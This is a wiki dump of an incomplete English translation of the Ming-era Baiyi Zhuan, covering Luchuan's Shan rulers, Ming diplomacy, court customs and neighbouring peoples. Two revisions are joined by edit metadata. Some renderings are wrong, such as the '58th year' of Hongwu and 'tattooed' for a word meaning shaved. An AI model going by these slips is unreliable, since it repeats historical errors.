Kalay''' is small, and the population is few, and you have already subdued it. This is the account [I have given]. It is nothing more than words of admonition. China borders the "Four Barbarians"<ref>Four Barbarians: North - Di, East - Yi, South - Man and West - Rong. </ref> Its territory adjoins that of various chiefs, their populations live in close proximity. Of such states, there are some which I know by report, and some which I have seen with my own eyes, I have never relied on my strength to domineer over them, or extinguished their line of succession. The territory of Yunnan belongs to me, it might seem that I nevertheless used force to take it, but that is not so! Rather, a descendant of the Yuan Imperial House, Prince of Liang, relying on his Yuan Royal heritage, concealed those who committed offences against me and harboured my fugitives and enticed my frontier defenders to defect. Precisely for this reason, I had no alternative but to send a force and call for an offence with an army to carry out [that purpose]. I did not raise an army without cause. This was because the fortunes of the Yuan had changed by heaven's decree, and its descendants were no longer entitled to remain securely established there. Moreover, he [Prince of Liang] has caused trouble among my neighbouring states; the circumstances and principles made the outcome inevitable, and their subjugation was as easy as turning over one's hand. As for you, foolish '''Lùchuān''' ('''麓川'''), you first took it upon yourself to launch the Gold Teeth campaign, next you plotted against '''Jǐngdōng''' ('''景東''') and raided '''Dìngbiān''' ('''定邊'''). By right, this called for the dispatch of a large force of elite troops to determine the victor and vanquished. I released you and did not press on the matter. I have never compelled you to become a subordinated state. I allowed you to establish your own institutions and customs, and now several years have passed. You have been gradually encroaching upon neighbouring states with the intention of expanding your territory and taking possession of their people on your own authority, and will thereby be a cause of war for me in the southwest. Alas, this cannot be! The ancient sages of China have a saying: The mountains and rivers, the land and the people are all such things as constitute the Divine Realm; they cannot be forcibly possessed by men - only when heaven bestows them may they be obtained. You '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) do not cultivate friendly relations with your neighbouring states, you send troops on three fronts and gradually encroach upon the various states, such is your greed and such is your scheme. The states surrounding '''Lùchuān''' ('''麓川''') have, from ancient times to the present, each had their own rulers; they have never been swallowed up and annexed. Although I cannot prevent you, I have allowed you to act for yourself. If indeed this has brought about the Way of Heaven, you must respond to it through human affairs; perhaps what you do will thereby be acceptable. Alas! If, in accordance with my admonition, you preserve what is whole, then that is acceptable. But if you do not preserve it intact, and instead stake the whole upon action, suppose, however, that the whole is impaired, that would mean the whole is lost. Better yet, then, to preserve the whole and thereby seek lasting continuity. Would that not be admirable? |- |由是二國罢兵和好。 |because of the truth, the two countries ceased war and reconciled. |- |时古训等适遇百夷其部下酋長曰刀干孟者叛其國，余等以大义諭其部眾，而叛者闻之稍却。於是，思侖發欲留余等以为援，且進以金寶象馬等物，故余以书示之曰： |At the time, Guxun, happened to encounter One Hundred Barbarians subordinate chief named '''Dāo gànmèng''' ('''刀干孟''') betray the country. We and the others explained/instructed his followers on the basis of the great principle/righteous cause and as a result, the rebels hearing it gradually withdrew. As a result, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) wished to preserve us as a source of assistance. He offered gold, valuables, elephants, horses and other gifts. Hence I presented this letter to reveal to him saying: |- |『吾闻君上有怀遠之德，遠臣有敬上之心，始古迄今，莫违此义。夫君居九重之上，雖欲顷刻目尔遠臣，未可得也，臣处萬里之外，即欲朝暮身亲君上，亦未易得也。故朝廷有將命之官，使之宣德布威；而遠方有承命之宜，期其輸忠納款。今天子应天顺民，奉天为治，四维八極，尽为臣妾，無有专擅，不敢违逆。西南一区，夷酋亦眾，惟尔麓川，多蒙恩宠，既受以官，復加以服。况贤王亲临尔境，而德惠數及尔身。为尔计，則將度其心，量其才，何为而可以尽忠天子，何为而可以致敬贤王，又何为而可以安邊境而不干天怒，又何为而可以教百姓而不违法度？借曰邊境不安，必思曰，我事上未忠或未至，而眾不服我耶？百姓违法，必思曰，我守職已或有僭而民亦犯上耶？於是我則尽其忠，去其僭，如此，則邊境自安，人民從教矣。且吾以尔目擊效驗明之：往年思瓦發不服朝廷，轻犯金齒，天子雖未问罪，天則假手於達鲁方等，而思瓦發被戮。刀思朗不從尔命，窃寇定邊，尔雖未能息其兵，天則助威於我邊將，而刀思朗等即灭。惟尔知天命，達人理，故能享天禄，守人爵。迩来天子恐尔所为，或涉放肆，特敕諭以戒之；贤王恐尔無知，或生疑懼，特令旨以恤之。此恩此德，穷天極地。尔之披肝露胆，开心見诚，吾尽見矣；尔之尊重朝廷，敬奉殿下，告亦見矣。今尔固留吾辈，其意本美。近者尔甸寨少宁，刀干谋异，吾將回朝为尔明白其事，尔乃留我，使我不速還朝，假如刀干鸣尔留难天使之非於朝，則反误尔敬君之心矣。且尔赠以金、銀、裀褥、馬、象等物，吾固不受者，非見怪也，實相爱也。何則？朝廷恩尔，抚安尔邦，未嘗令使者取货於尔也。夫货财，饥不可以充口，疾不可以救死。况中國金玉成山，象馬若蚁，未以为寶也，惟所寶者，圣君、明王、忠臣、烈士、强兵、勇將、孝子、顺孙等事，其他财物，如粪土耳。姑以尔境内眾所闻者明之：昔隋史萬歲守邊，夷而贪财，以致殺身。梁毗一金不受，而大服夷眾。此事甚白。吾为圣朝天使，必不为财物所蛊，惟恐吾之使令往来小人，不体吾意，蛊惑尔心，特此叮咛。尔其备审此书，体吾真意，早送吾辈還朝，則尔敬君之心，不浅浅也。』 | |- |书至，思侖發悦服，遂邀至其家，設宴畢，與其眾送出境外。 |When the letter arrived, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) was pleased, and received it favourably. Thereupon invited him to his home. After the banquet, together with his retinue escorted them beyond the borders. |- |百夷，由金齒、蒲漂過怒江即其境。沿江東數十里，上有高良弓頗险。其岭有一寨。過一寨下四十里，地名养列，自此抵麓川無险隘之虞。由麓川经蠻牛、莽港等路，渡谨卯，從蒙戛等甸至麻林界，登金沙江之舟，下流二十日至緬國。國王眾呼为卜剌浪，王之妻呼为米泼剌。 |The One Hundred Barbarians, via the Gold Teeth, '''Pú''' ('''蒲'''), '''Pyu people''', upon crossing the '''Nùjiāng River''' ('''怒江''') reach their territory. Along the river, east about ten <strong>Lǐ</strong> (<strong>里</strong>), there is the tall, rugged, dangerous Gaoligong [mountains] above. The mountain range has one stronghold. Passing a stronghold, below forty '''Lǐ''' ('''里''') is a place named '''Yǎng liè''' ('''养列'''), since then reaching the '''Lùchuān''' ('''麓川''') there is no concern of dangerous narrow passes. Following '''Lùchuān''' ('''麓川''') pass through the routes of '''Mánniú''' ('''蠻牛'''), '''Mǎnggǎng''' ('''莽港''') and other places, crossing '''Jǐnmǎo''' ('''谨卯'''), from the district of '''Ménggā''' ('''蒙戛''') to the '''Málín''' ('''麻林''') border, [one must] board a boat on the '''Jīnshā River''' ('''金沙江'''), downriver twenty days one reaches Burma. The king is referred by the populace as '''Bōlàlàng''' ('''卜剌浪'''), the king's wife is referred to as '''Mǐpōlà''' ('''米泼剌'''). |- |} ==References== {{reflist}} [[Category:Chinese literature]] [[Category:Non-fiction books]] [[Category:Medieval historical works]] [[Category:Works originally in Chinese]] [[Category:Pages with foreign language text]] [[Category:Indigenous peoples]] [[Category:Guidebooks]] [[Category:History of China]] [[Category:Wars]] [[Category:Diplomacy of China]] [[Category:Subject:Military history]] [[zh:蛮书]] thc6mkr8sbzu77dv1vgq4pctm0az2z5 4670888 4670887 2026-09-18T10:45:22Z Taitesena 3485636 4670888 wikitext text/x-wiki __NOTOC__ {{incomplete translation}} {{Translation header | title = Baiyi Zhuan (百夷傳) | author = Qian Guxun (錢古訓) | override_editor = | translator = 'Taitesena' | section = | previous = | next = | shortcut = | year = | language = zh | original = | notes = The Baiyizhuan, or, '''Biography of 100 Barbarians''', was compiled by Qian Guxun (錢古訓) with Li Sicong (李思聪) and sent to the Ming Dynasty but never formally published yet stored away. Copies emerged under both names however, most agree that both envoys wrote their own accounts of Myanmar to control the issue of Shan Kings on the borders. This version is attributed to Qian Guxun and sourced from Wikisource. }} == Front Matter == # [[Baiyi Zhuan/Translator's Note|Translator's Note]] # [[Baiyi Zhuan/Influences|Historical Context]] ==Translation== ===Introduction=== {| class="wikitable" style="text-align:center; width:80%;" |+ Premable to the purpose and context of the document and political situation. |- ! scope="col" | Original ! scope="col" | Translation |- |百夷，在雲南西南數千里，其地方萬里。景東在其東，西天古刺在其西，八百媳婦在其南，吐番在其北；東南則車里，西南則緬國，東北則哀牢〈（今之金齒衛也）〉，西北則西番、回紇。 |[The] One Hundred Barbarians are a few thosand '''Lǐ''' ('''里''') southwest of Yunnan. There region is very far away. '''Jǐngdōng''' ('''景東''') is east of them. The western regions Gǔ cì (古刺) [people] are west of them. South of them are the '''Eight Hundred Xífù''' ('''八百媳婦'''; Laos). North of them is Tibet. Southeast of them is Chē lǐ (車里), southwest is Burma, Northeast is '''Āiláo''' ('''哀牢''')<ref>The ancient tribal confederation of the Yongchang-Gaoligong area.</ref> Today, these are the gold tooth people. Northwest of them is Western Barbarians and '''Huíhé''' ('''回紇'''; Uyghur people). |- |俗有大百夷、小百夷、漂人、古剌、哈剌、緬人、结些、吟杜、弩人、蒲蠻、阿昌等名，故曰百夷。 |The customs of Greater One Hundred Barbarians, the Lesser One Hundred Barbarians, Pyu people, Gǔ cì (古刺) [people], Hā cì (哈刺) [people], Burmese people, '''jiēsuò''' （'''结些''')<ref>There is reason to believe that these may be the Zo people. The Jie however is difficult to understand, likely a terminology transfer issue from intermediaries. Like the Mosuo people, I suggest this to be read as Jie Suo. If so, this would be the earliest mention of Zo terminology since Vincent Sangermono.</ref>, '''Yíndù'''（'''吟杜''')<ref>These are only mentioned once in the document. Whether it's a mix-up with Hadu, or referring to Indians, is unknown.</ref>, Nǔ people (弩人; crossbowman people), Pú (蒲) and Āchāng (阿昌), among others, can be spoken of as the One Hundred Barbarians. |- |漢以前未嘗通中國，諸葛亮征蠻，亦抵怒江而止。唐天寶中，夷人始随爨歸王入朝。其眾各有部領，不相統屬。 |Before the Han dynasty, they had no contact with China.<ref>The main exception may be the Ailao people.</ref> '''Zhūgé liàng''' ('''諸葛亮''') went on an expedition against the barbarians, where he stopped right up against the '''Nùjiāng River''' ('''怒江'''). During the Tianbao Era of the Tang Dynasty, the barbarians began to follow the '''Cuàn''' ('''爨''') and '''Guī''' ('''歸''') clan leaders.<ref>The '''Cuàn''' ('''爨''') eventually founded the Kingdom of Nanzhao, which ruled powerfully in the region, competing with Tibet and Tang China.</ref> The people had their own leaders and were not unified. |- |元憲宗三年，世祖由吐番入麗江，自葉榆平至雲南〈（葉榆即大理也）〉。明年，命將兀良哈臺征降夷地。遂分为路二十、府四、甸四十有四、部二十有六、各設土官，置金齒都元帥府領之。有所督，委官入其地，交春即還，避瘴气也。 |In Emperor Xianzong's 3rd year in the Yuan Dynasty, Emperor Shìzǔ (世祖; Kublai Khan) entered '''Lìjiāng''' ('''麗江''') from Tibet and himself in '''Yèyú''' ('''葉榆'''; Present Day Dali) brought peace to Yunnan. The following year, [he] commanded General UriyangKhadai to pacify the barbarian lands. The region was transformed into twenty circuits, four prefectures, forty-four districts and twenty-six departments, each with indigenous officials overseen by the Gold Teeth Commander in Chief.<ref>A Tai Shan Leader likely.</ref> Officials were appointed to administer certain lands, returning by spring to avoid malarial miasma. |- |至正戊子，麓川土官思可發數侵扰各路，元帥搭失把都討之，不克。思可發益吞并諸路，而遣其子滿散入朝，以輸情款。雖奉正朔，納職貢，而服用制度，擬於王者。思可發死，子昭併發立。八年，傳其子臺扁。踰年，臺扁從父昭肖發殺之而自立，期年，盗殺昭肖發，眾立其弟思瓦發。 |In the the 8th year of the Zhizheng era ('''1348 AD''') Lùchuān (麓川) indigenous chief '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) had been countlessly harassing and invading every road. The Commander-in-Chief '''Dāshībǎ''' （'''搭失把'''） sent armed forces to the capital but was unable to. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) annexed further circuits and dispatched his son '''Mǎnsàn''' ('''滿散''') to the imperial court to offer terms of service. Although they accepted tribute and the official calendar of the Ming dynasty, their clothes and administration resembled that of a monarchy. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) died, his son Zhāo bìngfā ('''昭併發'''; Hsö Pem Hpa) was established. Eight years later it passed to '''Táibiǎn''' ('''臺扁'''; Hsö Siu Hpa). A year later, '''Táibiǎn's''' ('''臺扁'''; Hsö Siu Hpa) uncle '''Zhāo xiàofā''' ('''昭肖發'''; , Hsö Kap Hpa) killed him himself and seized power. A year later, bandits killed '''Zhāo xiàofā''' ('''昭肖發'''; Hsö Kap Hpa) and established his younger brother '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) [as ruler]. |- |國朝洪武辛酉，平雲南。明年，思瓦發寇金齒。是冬，思瓦發略于者闌、南甸。其屬達鲁方等輙立滿散之子思侖發，而殺思瓦發於外。即譴使貢白象、犀、馬、方物於朝。廷議不忍絕以化外，乃命福建左參政王鈍率雲南部校郭京美等，諭以向背利害，約以每歲貢獻之率，而遂内附。於是授思侖發为麓川平緬軍民宣慰。丙寅，復寇景東。明年，部屬刁思朗犯定邊，天子命西平侯沐英總兵敗之，獲刁思朗，夷人懼服。上以遠人不加約束，故官稱制度皆從其俗。 |In the current dynasty, in the 58th year (Xinyou) of the Hongwu Emperor ('''1381 A.D.'''), Yunnan was pacified. The next year, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) plundered the Gold Teeth barbarians. That winter, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) captured the territory of '''Zhělán''' ('''者闌''') and '''Nándiàn''' ('''南甸'''). His subordinate '''Dálǔfāng''' （'''達鲁方'''）placed '''Mǎnsàn's''' ('''滿散''') son, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as ruler and killed '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) when outside. The offered tribute included white elephants, rhinoceroses, horses and other local products. The palace could not bear to cut ties with outside spheres of influence and commanded the Fujian Left Vice Official '''Wáng Dùn''' ('''王鈍''') to lead in the checking of the city walls of Yunnan, order discussions of pros and cons of allegience, discuss the annual tribute rate and secured their submission. He conferred '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as the Burma Pacification Commissioner. In the third year ('''1386 A.D.'''), he returned to invade '''Jǐngdōng''' ('''景東'''). The next year, his subordinate '''Diāosīlǎng''' ('''刁思朗''') invaded '''Dìngbiān''' ('''定邊'''). The Emperor ordered Marquis of '''Xīpíng''' ('''西平''') '''Mù yīng''' ('''沐英''') to lead an army to defeat him where he caught '''Diāosīlǎng''' ('''刁思朗'''). The barbarians became fearful and submitted. In order not to restrict those far-away peoples, the official system and administration were all in their customs. |- |其下稱思侖發曰『昭』，猶中國稱君主也。所居麓川之地曰者闌，猶中國稱京師也。其屬則置『叨孟』以總統政事，兼領軍民。『昭錄』領萬餘人，『昭綱』領千餘人，『昭伯』領百人；領一伍者为『昭哈斯』，領一什者为『昭准』；皆屬於『叨孟』。又有『昭錄令』，遇有征调，亦與『叨孟』統軍以行。其近侍呼为『立者』，閽寺呼为『割斷』。大小各有分地，任其徭賦。 |'''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) is called '''Zhāo''' ('''昭'''), like how China uses "Lord". '''Lùchuān's''' ('''麓川''') [ruler's] dwelling place is called '''Zhělán''' ('''者闌'''), like how China uses the term "Capital". Their subordinates are known as '''Dāomèng''' ('''叨孟'''), who generally handled political affairs while simultaneously leading the military and civilians. '''Zhāolù''' ('''昭錄''') led over ten thousand households, '''Zhāogāng''' ('''昭綱)''' led over a thousand households, '''Zhāobó''' ('''昭伯''') led a hundred households. Those who led five soldiers were known as '''Zhāohāsī''' ('''昭哈斯'''), those who led ten soldiers were known as '''Zhāozhǔn''' ('''昭准'''). Each [of these] were part of the '''Dāomèng''' ('''叨孟'''). There is also '''Zhāolùlìng''' ('''昭錄令''') who also happen to carry out conscription for the '''Dāomèng''' ('''叨孟''') to gather an army to lead. Their attendants were known as '''Lìzhě'''（'''立者'''). Doorkeepers of Buddhist temples were called '''Gēduàn''' ('''割斷'''). Big or small each had distributed land appointed and endowed to them as compulsory servicefor corvee and taxes. |- |上下僭奢，雖微職亦繫鈒花金銀帶。貴賤皆戴筍籜帽，而飾金寶於頂，如浮圖狀，懸以金玉，插以珠翠花，被以毛纓，綴以毛羽。貴者衣綺麗。每出入，象馬僕從滿途。象以銀鏡數十聯綴於羈靮，緣以銀釘，鞍上有闌如交椅狀，藉以裀褥，上設錦障蓋，下懸銅響鈴，坐一奴鞍後，執長鉤驅止之。遇貴於己者，必讓途而往。凡相見必合掌而拜，習胡人之跪。長於己者必拜跪之，言則叩頭受之。叨孟以下見其主，則膝行以前，二步一拜，退亦如之。執事於貴人之側，雖跪終日無倦狀。貴人之前過，必磬折鞠躬。宴会則貴人上坐，其次列坐於下，以逮至賤。先以沽茶及蒌葉、檳榔啖之（沽茶者，山中茶葉，春夏間采煮之，實於竹筒内，封以竹箬，過一二歲取食之，味極佳，然不可用水煎飲）。次具飯，次進酒饌，俱用冷而無熱。每客必一仆持水瓶側跪，俟嗽口盥手而後食。食畢亦如之，而後起。客十則十人各行一客。酒或以杯，或用筒（筒以蕨楷，或用鵝翎管連贯，各長丈餘，漆之而飾以金，假若一酿酒，則漬以水一滿瓮，插筒手中，立標以驗其盏數，人各以次舉筒咂之。咂酒一盏，仍漬水一盏，傳之次客，味甚佳，至淡，水方止，俗呼为咂酒）。酒與食物必祭而後食，食不用筯。酒初行，一人大噪，眾皆合之，如此者三，乃舉樂。樂有三等：琵琶、胡琴、等笛、響盏之類，效中原音，大百夷樂也。笙阮、排簫、箜篌、琵琶之類，人各拍手歌舞，作緬國之曲，緬樂也。銅饒、銅鼓、響板、大小長皮鼓，以手拊之，與僧道樂頗等者，車里樂也。村甸間擊大鼓，吹芦笙，舞干为宴。長者授卑賤酒食，必叩頭受之，易以他器而食。食畢，仍叩頭而退。 |The people, both high and low [in status], were extravagantly overstepping [in their dress]. Even small duty officials fastened engraved, patterned belts of gold and silver. [Both] nobles and commoners wore bamboo-shoot-woven hats and decorated them with gold, like a crown resembling pagodas, hanging with jade and gold and inserted with pearls and colourful gems, covered with tassels and quilted feathers. The clothes of wealthy individuals are enchantingly beautiful. Whenever one goes out, elephants, horses, and servants fill the roads. The elephants have about ten or so silver mirrors attached to their reins and bridles, edged with silver nails. On the saddle, there is a railing resembling an old wooden-style armchair with cushion-like under padding, a mattress, and brocade above the top and copper ringing bells below [it]. A servant was seated behind the saddle, grasping a long hook to urge and stop [the elephant]. Upon encountering a wealthy person, they certainly yield the way to them. Commonly, when meeting one another, they certainly clasp hands and bow, adopting the kneeling [custom] of the Northwestern peoples [of China]. Elders to oneself are bowed to and kneelt before, and when speaking, they are subjected to kowtow to them. Those below '''Dāomèng''' ('''叨孟'''), seeing their masters, kneel before them, every two steps a bow, and repeat it during withdrawal. Attendants are at a wealthy person's side, despite kneeling all day, do not appear tired. When a wealthy person passes by, they bow deeply.<ref>The sentence is poetically describing the bow as "bending the body as to resemble 磬, a type of percussion instrument". </ref> In banquets, the wealthy are seated first, then next in line are the ones below them and so on, by means to the lowest [of status]. First, they are given tea, areca nuts and betel leaves (The given tea leaves are [harvested] in mountains and brewed in Spring and Summer, stuffed into bamboo tubes, sealed with bamboo leaves for one to two years, ready for consumption, tasting extremely fine, however, cannot be brewed by boiling in water for drinking. Next [to] be provided is rice, following that is wine and delicacies are are [consumed] cold and unheated. Every guest has a servant kneeling on the side holding a water bottle, waiting to cough and rinse the mouth and hands with water and then eat. [Upon] finishing eating this is repeated and then they rise. In the case of ten guests, ten people attend them, one per guest. Wine is either served in a cup or a tube (The tubes are made from Pistachio Bracken or goose plume linked together). Every length is one '''Zhàng''' ('''丈;''' approximately 3m) painted and decorated with gold. If brewing wine, one pot of water is added. Inserting the tube into the hand, it is used to check for the number of cups [it can hold]. Each person lifts the tube to sip from it. After sipping a cup, a cup of water is added, and it is passed to the next person; the taste is exceedingly fine. When the wine's taste dilutes, water is stopped, and this is called '''sipping wine'''.) Wine and good must be sacrificed, and then they eat. Chopsticks are not used to eat. At the begining of the wine [ceremony], one person loudly shouts and multiple people all join in. This is done three times, and then music is played. There are three such types of music: Chinese lute, Huqin (Chinese fiddle) and the flute with ringing cups and so on. It imitates the sounds of the central region<ref>The Yellow River Basin area of China. </ref> and the Great White barbarians, too. Bagpipe, lutes, panpipes, harp, pipa and so on. People each clap their hands and dance. It is performed in Burmese tunes and music. Copper gong, bronze drum, castanets, big, small and long leather drums struck with the hand. It is similar to Buddhist and Taoist music, as well as '''Chēlǐ''' ('''車里''') music. Villages and suburbs have space for striking bass drums, blowing reed pipes and dancing for the feast. Elders give food and drink to the lowly [people], who certainly must bear to kowtow them to exchange utensils and eat. [Upon] finishing eating, they still kowtow and then retreat. |- |凡貿易必用銀，雜以銅，鑄若半卵狀，流通商賈間。官無倉庾，民無税粮。每年秋季，其主遣亲信部屬往各甸，计房屋征金銀，谓之取差發（房屋一間，大者征銀一两、三两，小者一两而止）。無中國文字，小事刻竹木，大事作緬书，皆旁行为记。刑名無律，不知鞭挞，轻罪則罚，重罪則死。或殺，或用人扱殺。或用象打，或投於水，或以绳帛缢。男婦不敢为奸盗，犯則殺之。 |All commercial trade must use silver, mixed with copper, cast to appear like a half egg [shape] to circulate among merchants. The government has no granaries,<ref>There are two characters for granaries, the second is for small private ones, signifying that most did not have this system at all. </ref> the people [likewise] have no grain tax. Every autumn, the owners dispatch trusted aides and subordinates to go to each suburb to calculate and levy households' gold and silver. This is called to go collect money. (For each house: large ones are taxed one or three [taels] of silver, small ones are taxed one tael.) There is no Chinese script; small matters are carved into bamboo or wood, big matters are written into Burmese script, all written horizontally for recording. No laws govern punishment; they do not know whipping or corporal punishment. Petty crimes are penalised, and serious crimes lead to death. Some are killed [directly], while some have another person employed to kill them. Some use elephants to crush them, some throw them in water, while some are hanged with ropes. Men and women do not dare commit adultery or robbery, to violate so will kill them. |- |所居無城池濠隍，惟编木立寨，貴賤悉构以草楼，無窗壁门户，时以花布障围四壁，以蔽风雨而已。邮傅一里設一小楼，數人守之，公事雖千里遠，报在顷刻。無軍民之分，聚則为軍，散則为民。遇有战斗，每三人或五人出軍一名，择其壮者为正軍，呼为『锡剌』。锡剌持兵御敌，余人荷所供。故軍行五六萬，战者不滿二萬。兵行不整，先後不一。多以象为雄势，战則缚身象上。裹革兜，被銅铁甲，用長镖干弩，不習弓矢。征战及造作用事，遇日月食則罢之，毁之。 |The [ruler's] dwelling place has no walls, water moats, trenches or dry moats, only wooden stockades erected. Both nobles and commoners all constructed thatched houses with no windows, ramparts or doors, just printed cloth covering around all four walls, as to cover [from] wind and rain and nothing more. Every mile, there was a small post office, a few people guarded it, [thus] documents even as far as a thousand miles can be reported instantly. There is no distinction between military and civilian [people]. Once assembled, they became soldiers; once scattered, they became civilians. Upon encountering a war, every three or five people would produce one soldier; they would select the strongest to become the principal armed force, known as '''Xīlà''' ('''锡剌'''). The '''Xīlà''' ('''锡剌''') grasped weapons to defend against the enemy, while surplus people carried to supply [them]. Hence, an army of fifty or sixty thousand will have fighters not filling twenty thousand. The soldiers were not organised; their rank formations were not uniform. Many used elephants for their imposing power; fighters tied their bodies onto the elephants. They wrapped leather into helmets, and were covered with copper mail plating, using long spears and crossbows, and did not practice bow and arrow. Any war or manufacturing encountering an eclipse would cease or [either] be destroyed. |- |所用多陶器，惟宣慰用金銀玻璃，部酋間用金銀酒器。凡部酋出，其器用、仆妾、财寶之類皆随之，從者千余，昼夜随所适，必作宴笑樂。 |Most utensils [they use] were pottery. Only the '''Xuānwèi''' ('''宣慰''') use gold, silver and glass. Tribal chiefs among them used gold, silver and wine cups. Commonly [when] tribal chiefs go out, their utensils, servants, concubines, money, jewels and so on all subsequently all follow him. He is accompanied by over a thousand followers. Day and night, wherever he subsequently goes, there will be feasts, laughter and music. |- |男子衣服多效胡服，或衣宽袖長衫，不识裙袴。其首皆髡，胫皆黥。不髡者殺之，不黥者眾叱笑，比之婦人。婦人髻绾於後，不谙脂粉，衣窄袖衫，皂統裙，白裹頭，白行缠，跣足。其俗賤婦人，貴男子，耕织徭役担负之類，雖老婦亦不得少休。嫁娶不分宗话，不重处女。年未笄，听與男子私，從至其家，男母为之濯足，留五六昼，遣歸母家，方通媒妁，置财礼娶之。凡生子，貴者浴於家，賤者浴於河，數日，授子於夫，仍服劳無倦。酋長妻數十，婢百余，不分妻妾，亦無鮅忌。男女浴於河，雖翁婦叔嫂，相向無耻。子弟有職名，則受父兄跪拜。父母亡，用婦祝尸，亲邻咸馈酒肉，聚年少环尸歌舞宴樂，婦人擊碓杵，自旦達宵，數日而後葬。其棺若馬槽，無蓋，置尸於中，抬往葬所，一人執刀持前导。及瘗，其生平所用器物，坏之於側而去。 |Many men's clothes mainly imitate non-Han clothing, or they wear wide-sleeved long gowns, not knowing skirts or trousers. Their heads are all tattooed, their shins are all tattooed. Untattooed heads would be killed, and untattooed legs would be laughed at and compared to women. Women tied their hair into a topknot at the back; they are not versed in cosmetics, and their clothes are narrow-sleeved garments [jackets] and a soap-style skirt. [Her] head is wrapped in white, her body is wrapped in white, and they go barefoot. Their custom is women, commoners, noblemen, must all undertake compulsory labour service and so on. Even old women must not rest a little. Marriage does not distinguish clan or language or virginity [of women]. Before even fifteen years, they are allowed private liaisons with men. She follows him to his home, and the man's mother washes her feet. She remains there for five or six days, [she] is then sent back to her mother's house. Then they communicate with a matchmaker and buy betrothal gifts to take her as a wife [for him]. Ordinarily with the birth of a child, a nobleman bathes in the home, while commoners bathe in the river. For a few days, she gives the child to her husband and continues to dress, toil, and work without tiring. The wives of a tribal chief number ten, his slave girls can surpass one hundred, there is no distinction between wife and concubine, also there is no '''Bìjì''' ('''鮅忌''').<ref>Unsure as to what this means. The first character is a type of fish and an extremely obsolete character not used anymore. It is a compound to something about jealousy, however I do not know what this compounded term relating to jealousy might be. Preliminary thought would be, the wives do not compete, or do not dread their hierearchy? </ref> Men and women bathe in the river, even old men, women, uncles, sister-in-laws [bathing] face to face have no shame. If a child has an office title, then they will be accepted, and the father and brothers will kneel and kowtow to him. When parents die, they use women to pray for the corpse. Relatives and neighbours all make an offering of wine and meat. They assemble young people around the corpse, singing and dancing, making merry. Women strike the pestle from dawn to night, and only after a few days, they bury the dead. The coffin seems like a horse trough, with a lid; they cover the corpse in the middle. They lift and carry the coffin to the burial place; one person holds a knife and leads the way. When the burial takes place, the objects the deceased had used during their life are broken beside the burial, and then people depart. |- |} ===Ethnic Groups and customs=== {| class="wikitable" style="text-align:center; width:80%;" |+ A list of ethnic groups encountered and their traditions and general customs. |- ! scope="col" | Original ! scope="col" | Translation |- |其俗，不祀先，不奉佛，亦無僧道。小百夷居其境之東北邊，或学阿昌，或学蒲蠻，或仿大百夷，其習俗不一。 |Their customs do not offer sacrifices [to ancestors], do not revere the Buddha. There are no Buddhists and Daoists [among them]. The Lesser One Hundred Barbarians reside on the northeast border, following Āchāng ('''阿昌''') customs, following Pú ('''蒲''') customs and some imitate the Greater One Hundred Barbarians. Their customs are not the same (uniform). |- |車里，亦谓小百夷，其俗刺额、黑齒、剪發，狀如頭陀。 |[The people of] '''Chē lǐ''' ('''車里''')<ref>'''Chē lǐ''' ('''車里''') refers to the Cheli Military and Civilian Pacification Commissioners Office. It was a Tai State that located at Jinghong City in modern day Xishuangbanna in Yunnan.</ref>, are also called Lesser One Hundred Barbarians. Their customs are tattooing foreheads, blackening teeth and cutting hair. Appearing as if like ascetic monks. |- |哈刺，男女黑真黑。男子以花布为套衣，亦有效百夷制者；婦人髻在後，项系雜色珠，以娑罗布披身上为衣，横系於腰为裙（娑罗布即中國木棉布，坚厚，或织以青红纹）。仍环黑藤數百围於腰上，行缠用青花布，赤脚（蒲蠻、阿昌，事見《雲南志》）。 |'''Hā cì''' ('''哈刺'''), men and women are [both] black, truly black. Men use printed cloth<ref>g</ref> for covering themselves, also which the One Hundred bararians effectively manufacture; married women have top knots behind [their head]. It is tied at the back of their neck with various pearls and beads. '''Suō luó''' ('''娑罗''')<ref>'''Sarong''' today, however this appears to be a complex term with many copyediting issues historically, Brahmin drapes, Suoluolong, eventually describing a type of silk-cottob robe made from plant materials.</ref> are draped around their bodies as clothes, horizontally it connected at the waist and lower back as a skirt. ('''Suō luóbù pī''' ('''娑罗布披''') namely is the Chinese Cotton Tree (Bombax Ceiba) cloth, strong and thick, possibly weaved as blue, red patterns.) Yet it encircles black rattan several hundred times, wrapped at the waist and lower back, it wraps around [their leg] to be used as a blue printed cloth [as they're] barefoot. ([Used amongst the] Pú mán (蒲蠻), āchāng (阿昌), shì jiàn (事見); [according to the] The Yunnan Gazeteer<ref>Written by Fan Chuo of the 9th century, also known as 蛮书 (Barbarian Document)</ref>.) |- |古刺，男女色甚黑。男子衣服装飾類哈刺，或用白布为套衣。婦人如罗罗狀（罗罗見《雲南志》）。 |'''Gǔ cì''' ('''古刺''') [people] are coloured extremely black. The men's clothes, decorations and adornments closely resembled the '''Hā cì''' ('''哈刺'''), and they use white cloth as [outer] covering garments. Married women resemble the '''Luó luó''' ('''罗罗''') [people]. ([For the] '''Luó luó''' ('''罗罗''') see The Yunnan Gazeteer.) |- |漂人，男女衣服皆類百夷。婦人以白布缠頭，衣露腹，以红藤缠之，娑罗布为裙，两接，上短下長，男女同耕。 |Pyu people<ref>This is the last time a document mentions the existence of Pyu people, namely. The Burmese stopped mentioning them by the 12th century, as did the Persians in the 10th century. Their retention of it suggests that absorption was slower and that the Burmese and Pyu were still distinct, according to the envoys.</ref>, [the] men and women's clothes all resemble the One Hundred Barbarians. Married women wear white cloth wrapped around their head, their clothes expose their stomach/ naval. By means of red rattan winding around them, the '''Suō luó''' ('''娑罗''') [is worn] as a skirt. Two [cloths] connect, upper [cloth] is short, bottom [cloth] is long. Men and women [both] till [the fields]. |- 